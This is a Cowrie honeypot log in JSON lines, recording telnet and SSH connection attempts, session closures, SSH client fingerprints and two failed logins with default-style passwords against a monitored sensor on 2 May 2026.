{"eventid":"cowrie.session.closed","duration":6.024521589279175,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:17.589189Z","src_ip":"174.138.46.234","session":"bdf03af1f36f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.936795949935913,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:17.708656Z","src_ip":"23.111.140.22","session":"3d826314114e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.2888708114624,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:17.749235Z","src_ip":"23.111.140.22","session":"f7767951fe65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44458,"dst_ip":"10.17.0.5","dst_port":23,"session":"b914e29cfd7b","protocol":"telnet","message":"New connection: 23.111.140.22:44458 (10.17.0.5:23) [session: b914e29cfd7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:17.840092Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41584,"dst_ip":"10.17.0.5","dst_port":23,"session":"33fc2a55d5a4","protocol":"telnet","message":"New connection: 23.111.140.22:41584 (10.17.0.5:23) [session: 33fc2a55d5a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:17.869072Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35348,"dst_ip":"10.17.0.5","dst_port":23,"session":"70128ad3b6b9","protocol":"telnet","message":"New connection: 23.111.140.22:35348 (10.17.0.5:23) [session: 70128ad3b6b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:17.882680Z"}
{"eventid":"cowrie.login.failed","username":"debian","password":"111111","message":"login attempt [debian/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:17.899338Z","src_ip":"202.145.0.61","session":"2786d7c6eecc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.71683359146118,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:18.069373Z","src_ip":"23.111.140.22","session":"52a1bf12bff0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.95883584022522,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:18.364078Z","src_ip":"23.111.140.22","session":"9f54ffacc170","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.929682493209839,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:18.421299Z","src_ip":"174.138.46.234","session":"e0f7f7e5be77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.484742164611816,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:18.562533Z","src_ip":"23.111.140.22","session":"6061d801b612","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.9787445068359375,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:18.776878Z","src_ip":"174.138.46.234","session":"762280285fb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41854,"dst_ip":"10.17.0.5","dst_port":23,"session":"48e5898a4ff2","protocol":"telnet","message":"New connection: 23.111.140.22:41854 (10.17.0.5:23) [session: 48e5898a4ff2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:18.946368Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41914,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5f9f97be226","protocol":"telnet","message":"New connection: 23.111.140.22:41914 (10.17.0.5:23) [session: e5f9f97be226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:18.980336Z"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":47380,"dst_ip":"10.17.0.5","dst_port":22,"session":"a15b93699991","protocol":"ssh","message":"New connection: 59.17.95.129:47380 (10.17.0.5:22) [session: a15b93699991]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:19.043413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:19.050045Z","src_ip":"59.17.95.129","session":"a15b93699991","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:19.135617Z","src_ip":"202.145.0.61","session":"2786d7c6eecc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":48516,"dst_ip":"10.17.0.5","dst_port":23,"session":"457125b98aeb","protocol":"telnet","message":"New connection: 23.111.140.22:48516 (10.17.0.5:23) [session: 457125b98aeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:19.162972Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:19.246814Z","src_ip":"59.17.95.129","session":"a15b93699991","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45890,"dst_ip":"10.17.0.5","dst_port":23,"session":"370aef3f0f44","protocol":"telnet","message":"New connection: 23.111.140.22:45890 (10.17.0.5:23) [session: 370aef3f0f44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:19.280695Z"}
{"eventid":"cowrie.session.closed","duration":50.00917100906372,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:19.848249Z","src_ip":"174.138.46.234","session":"c87e4b9d8d4c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"es","password":"123456","message":"login attempt [es/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:20.083108Z","src_ip":"59.17.95.129","session":"a15b93699991","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51516,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5eb0794274a","protocol":"telnet","message":"New connection: 23.111.140.22:51516 (10.17.0.5:23) [session: b5eb0794274a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:20.136394Z"}
{"eventid":"cowrie.session.closed","duration":7.950756549835205,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:20.251355Z","src_ip":"174.138.46.234","session":"a4312104b2b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.535848379135132,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:20.488962Z","src_ip":"23.111.140.22","session":"33a3234cad08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.45314574241638,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:20.575714Z","src_ip":"174.138.46.234","session":"3fc9b599e418","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52918,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cb091005747","protocol":"telnet","message":"New connection: 23.111.140.22:52918 (10.17.0.5:23) [session: 0cb091005747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:20.638012Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":48040,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc5474b8f8de","protocol":"telnet","message":"New connection: 23.111.140.22:48040 (10.17.0.5:23) [session: fc5474b8f8de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:21.028981Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:21.286076Z","src_ip":"59.17.95.129","session":"a15b93699991","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.35408425331116,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:22.604560Z","src_ip":"23.111.140.22","session":"eb4d052f22a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59114,"dst_ip":"10.17.0.5","dst_port":23,"session":"41297bc6ff0d","protocol":"telnet","message":"New connection: 23.111.140.22:59114 (10.17.0.5:23) [session: 41297bc6ff0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:22.623061Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59926,"dst_ip":"10.17.0.5","dst_port":23,"session":"13ff7331fecd","protocol":"telnet","message":"New connection: 23.111.140.22:59926 (10.17.0.5:23) [session: 13ff7331fecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:22.861526Z"}
{"eventid":"cowrie.session.closed","duration":33.052265644073486,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:23.252501Z","src_ip":"23.111.140.22","session":"c9fa8ad6fe59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33260,"dst_ip":"10.17.0.5","dst_port":23,"session":"25fdde498357","protocol":"telnet","message":"New connection: 23.111.140.22:33260 (10.17.0.5:23) [session: 25fdde498357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:23.414761Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34082,"dst_ip":"10.17.0.5","dst_port":23,"session":"01d164440662","protocol":"telnet","message":"New connection: 23.111.140.22:34082 (10.17.0.5:23) [session: 01d164440662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:23.714391Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34316,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa7e47c4f424","protocol":"telnet","message":"New connection: 23.111.140.22:34316 (10.17.0.5:23) [session: aa7e47c4f424]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:23.788203Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35218,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fc26d6720ee","protocol":"telnet","message":"New connection: 23.111.140.22:35218 (10.17.0.5:23) [session: 3fc26d6720ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:24.032852Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35362,"dst_ip":"10.17.0.5","dst_port":23,"session":"eefd439c37c3","protocol":"telnet","message":"New connection: 23.111.140.22:35362 (10.17.0.5:23) [session: eefd439c37c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:24.096440Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35404,"dst_ip":"10.17.0.5","dst_port":23,"session":"01b9bde852db","protocol":"telnet","message":"New connection: 23.111.140.22:35404 (10.17.0.5:23) [session: 01b9bde852db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:24.114779Z"}
{"eventid":"cowrie.session.closed","duration":31.575512170791626,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:24.539582Z","src_ip":"23.111.140.22","session":"d5a50c3480c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37524,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cb4c510c063","protocol":"telnet","message":"New connection: 23.111.140.22:37524 (10.17.0.5:23) [session: 8cb4c510c063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:24.864834Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35476,"dst_ip":"10.17.0.5","dst_port":23,"session":"88f323ad03b0","protocol":"telnet","message":"New connection: 23.111.140.22:35476 (10.17.0.5:23) [session: 88f323ad03b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:25.141160Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35492,"dst_ip":"10.17.0.5","dst_port":23,"session":"acb0bab6f904","protocol":"telnet","message":"New connection: 23.111.140.22:35492 (10.17.0.5:23) [session: acb0bab6f904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:25.150416Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35536,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b38de0938d1","protocol":"telnet","message":"New connection: 23.111.140.22:35536 (10.17.0.5:23) [session: 4b38de0938d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:25.158235Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35710,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e1ee4025970","protocol":"telnet","message":"New connection: 23.111.140.22:35710 (10.17.0.5:23) [session: 1e1ee4025970]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:25.233920Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35786,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffa7a85280f5","protocol":"telnet","message":"New connection: 23.111.140.22:35786 (10.17.0.5:23) [session: ffa7a85280f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:25.265794Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33216,"dst_ip":"10.17.0.5","dst_port":23,"session":"01e506df289f","protocol":"telnet","message":"New connection: 23.111.140.22:33216 (10.17.0.5:23) [session: 01e506df289f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:25.410163Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39686,"dst_ip":"10.17.0.5","dst_port":23,"session":"7da3163b6e00","protocol":"telnet","message":"New connection: 23.111.140.22:39686 (10.17.0.5:23) [session: 7da3163b6e00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:25.575416Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39856,"dst_ip":"10.17.0.5","dst_port":23,"session":"75f7a48b4c3f","protocol":"telnet","message":"New connection: 23.111.140.22:39856 (10.17.0.5:23) [session: 75f7a48b4c3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:25.630272Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34960,"dst_ip":"10.17.0.5","dst_port":23,"session":"40e21694a317","protocol":"telnet","message":"New connection: 23.111.140.22:34960 (10.17.0.5:23) [session: 40e21694a317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:25.988273Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41614,"dst_ip":"10.17.0.5","dst_port":23,"session":"514b95da5801","protocol":"telnet","message":"New connection: 23.111.140.22:41614 (10.17.0.5:23) [session: 514b95da5801]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:26.216642Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42386,"dst_ip":"10.17.0.5","dst_port":23,"session":"571b8e196065","protocol":"telnet","message":"New connection: 23.111.140.22:42386 (10.17.0.5:23) [session: 571b8e196065]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:26.461840Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39666,"dst_ip":"10.17.0.5","dst_port":23,"session":"057a612af836","protocol":"telnet","message":"New connection: 23.111.140.22:39666 (10.17.0.5:23) [session: 057a612af836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:26.574284Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":43716,"dst_ip":"10.17.0.5","dst_port":23,"session":"1060a2005734","protocol":"telnet","message":"New connection: 23.111.140.22:43716 (10.17.0.5:23) [session: 1060a2005734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:26.871390Z"}
{"eventid":"cowrie.session.closed","duration":31.430983543395996,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:26.937450Z","src_ip":"23.111.140.22","session":"7cdeeaf07c79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59676,"dst_ip":"10.17.0.5","dst_port":23,"session":"610fb89f89c7","protocol":"telnet","message":"New connection: 23.111.140.22:59676 (10.17.0.5:23) [session: 610fb89f89c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:27.010606Z"}
{"eventid":"cowrie.session.closed","duration":0.007142782211303711,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:27.017577Z","src_ip":"23.111.140.22","session":"610fb89f89c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.741717100143433,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:27.105550Z","src_ip":"23.111.140.22","session":"1e236acf8e4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35801,"dst_ip":"10.17.0.5","dst_port":23,"session":"49deda59138d","protocol":"telnet","message":"New connection: 23.111.140.22:35801 (10.17.0.5:23) [session: 49deda59138d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:27.279707Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42160,"dst_ip":"10.17.0.5","dst_port":23,"session":"7301ead97b8f","protocol":"telnet","message":"New connection: 23.111.140.22:42160 (10.17.0.5:23) [session: 7301ead97b8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:27.390087Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42586,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3d59fa2f056","protocol":"telnet","message":"New connection: 23.111.140.22:42586 (10.17.0.5:23) [session: c3d59fa2f056]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:27.523143Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42922,"dst_ip":"10.17.0.5","dst_port":23,"session":"a963f87129d2","protocol":"telnet","message":"New connection: 23.111.140.22:42922 (10.17.0.5:23) [session: a963f87129d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:27.618205Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":43228,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ff768c05547","protocol":"telnet","message":"New connection: 23.111.140.22:43228 (10.17.0.5:23) [session: 3ff768c05547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:27.718469Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37204,"dst_ip":"10.17.0.5","dst_port":23,"session":"58f0c0e5f43a","protocol":"telnet","message":"New connection: 23.111.140.22:37204 (10.17.0.5:23) [session: 58f0c0e5f43a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:27.780780Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46260,"dst_ip":"10.17.0.5","dst_port":23,"session":"a838cc69ad07","protocol":"telnet","message":"New connection: 23.111.140.22:46260 (10.17.0.5:23) [session: a838cc69ad07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:27.800488Z"}
{"eventid":"cowrie.session.closed","duration":31.351739645004272,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:27.888897Z","src_ip":"23.111.140.22","session":"611cfd0e9317","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46716,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cf2df62f4b5","protocol":"telnet","message":"New connection: 23.111.140.22:46716 (10.17.0.5:23) [session: 0cf2df62f4b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:27.954272Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34842,"dst_ip":"10.17.0.5","dst_port":23,"session":"993949a83f47","protocol":"telnet","message":"New connection: 23.111.140.22:34842 (10.17.0.5:23) [session: 993949a83f47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:27.973088Z"}
{"eventid":"cowrie.session.closed","duration":30.762170553207397,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:28.344362Z","src_ip":"23.111.140.22","session":"3572e3fbfab2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.719565868377686,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:28.654840Z","src_ip":"23.111.140.22","session":"d54cbbf00eb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.524654626846313,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:28.802452Z","src_ip":"23.111.140.22","session":"88498f21b9fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37424,"dst_ip":"10.17.0.5","dst_port":23,"session":"2101c1e4eb6b","protocol":"telnet","message":"New connection: 23.111.140.22:37424 (10.17.0.5:23) [session: 2101c1e4eb6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:28.834526Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49634,"dst_ip":"10.17.0.5","dst_port":23,"session":"9deb9c31a018","protocol":"telnet","message":"New connection: 23.111.140.22:49634 (10.17.0.5:23) [session: 9deb9c31a018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:28.925138Z"}
{"eventid":"cowrie.session.closed","duration":31.354145288467407,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:29.012355Z","src_ip":"23.111.140.22","session":"f5dc5b7d5437","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9434654712677,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:29.112038Z","src_ip":"23.111.140.22","session":"05742e3f598b","protocol":"telnet"}
